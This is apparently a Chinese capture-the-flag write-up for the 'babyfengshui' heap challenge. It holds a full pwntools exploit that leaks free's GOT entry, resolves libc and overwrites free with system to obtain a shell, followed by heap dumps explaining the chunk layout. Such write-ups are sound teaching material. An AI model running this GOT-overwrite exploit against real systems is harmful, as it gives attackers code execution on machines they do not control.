babyfengshui_33c3_2016
1.ida分析
有一个防止修改时栈溢出的保护，一开始没想明白怎么绕过。百度了一下看了一下其他人思路，直接醍醐灌顶。
2.checksec
3.解决
exp:
from pwn import * from LibcSearcher import * context.log_level=‘debug‘ p=remote(‘node4.buuoj.cn‘,25266) #p=process(‘./babyfengshui_33c3_2016‘) #p=process(["/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/ld-2.23.so",‘./easyheap‘],env={"LD_PRELOAD":"/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so"}) elf=ELF(‘babyfengshui_33c3_2016‘) free_got=elf.got[‘free‘] free_plt=elf.plt[‘free‘] def add(size,content,name): p.sendlineafter(‘Action: ‘,‘0‘) p.sendlineafter(‘description‘,str(size)) p.sendlineafter(‘name: ‘,name) p.sendlineafter(‘length: ‘,str(size)) p.sendlineafter(‘text: ‘,content) def delete(index): p.sendlineafter(‘Action: ‘,‘1‘) p.sendlineafter(‘index: ‘,str(index)) def display(index): p.sendlineafter(‘Action: ‘,‘2‘) p.sendlineafter(‘index: ‘,str(index)) def update(index,size,content): p.sendlineafter(‘Action: ‘,‘3‘) p.sendlineafter(‘index: ‘,str(index)) p.sendlineafter(‘length: ‘,str(size)) p.sendlineafter(‘text: ‘,content)
add(8,‘aaaa‘,‘aaaa‘) add(16,‘bbbb‘,‘bbbb‘) delete(0) add(0x80,‘cccc‘,‘cccc‘)
py=p32(free_got)*0x2d update(2,0xb4,py) py=‘/bin/sh\0‘ add(32,py,‘d‘) display(1) p.recvuntil(‘description: ‘) addr=u32(p.recv(4)) print hex(addr) libc=LibcSearcher(‘free‘,addr) base=addr-libc.dump(‘free‘) system=base+libc.dump(‘system‘) update(1,4,p32(system)) #gdb.attach(p) delete(3) p.interactive()
栈溢出思路：
首先申请2个堆：
#chunck0
0x9e13198: 0x00000000 0x00000011 0x61616161 0x00000000 0x9e131a8: 0x00000000 0x00000091 0x09e131a0 0x61616161 0x9e131b8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e131c8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e131d8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e131e8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e131f8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13208: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13218: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13228: 0x00000000 0x00000000 0x00000000 0x00000000
#chunck1
0x9e13238: 0x00000000 0x00000021 0x62626262 0x00000000 0x9e13248: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13258: 0x00000000 0x00000091 0x09e13240 0x62626262 0x9e13268: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13278: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13288: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13298: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e132a8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e132b8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e132c8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e132d8: 0x00000000 0x00000000 0x00000000 0x00000000
然后删除chunk0,再申请一个0x80的chunk。
0x9e13198: 0x00000000 0x00000011 0x00000000 0x09e13010 #chunck2
0x9e131a8: 0x00000000 0x00000091 0x63636363 0x00000000 0x9e131b8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e131c8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e131d8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e131e8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e131f8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13208: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13218: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13228: 0x00000000 0x00000000 0x00000000 0x00000000 #chunck1
0x9e13238: 0x00000000 0x00000021 0x62626262 0x00000000 0x9e13248: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13258: 0x00000000 0x00000091 0x09e13240 0x62626262 0x9e13268: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13278: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13288: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13298: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e132a8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e132b8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e132c8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e132d8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e132e8: 0x00000000 0x00000091 0x09e131b0 0x63636363 0x9e132f8: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13308: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13318: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13328: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13338: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13348: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13358: 0x00000000 0x00000000 0x00000000 0x00000000 0x9e13368: 0x00000000 0x00000000 0x00000000 0x00000000
这时候chunk1就夹在chunck2中，可以进行堆溢出来泄露地址和修改函数地址。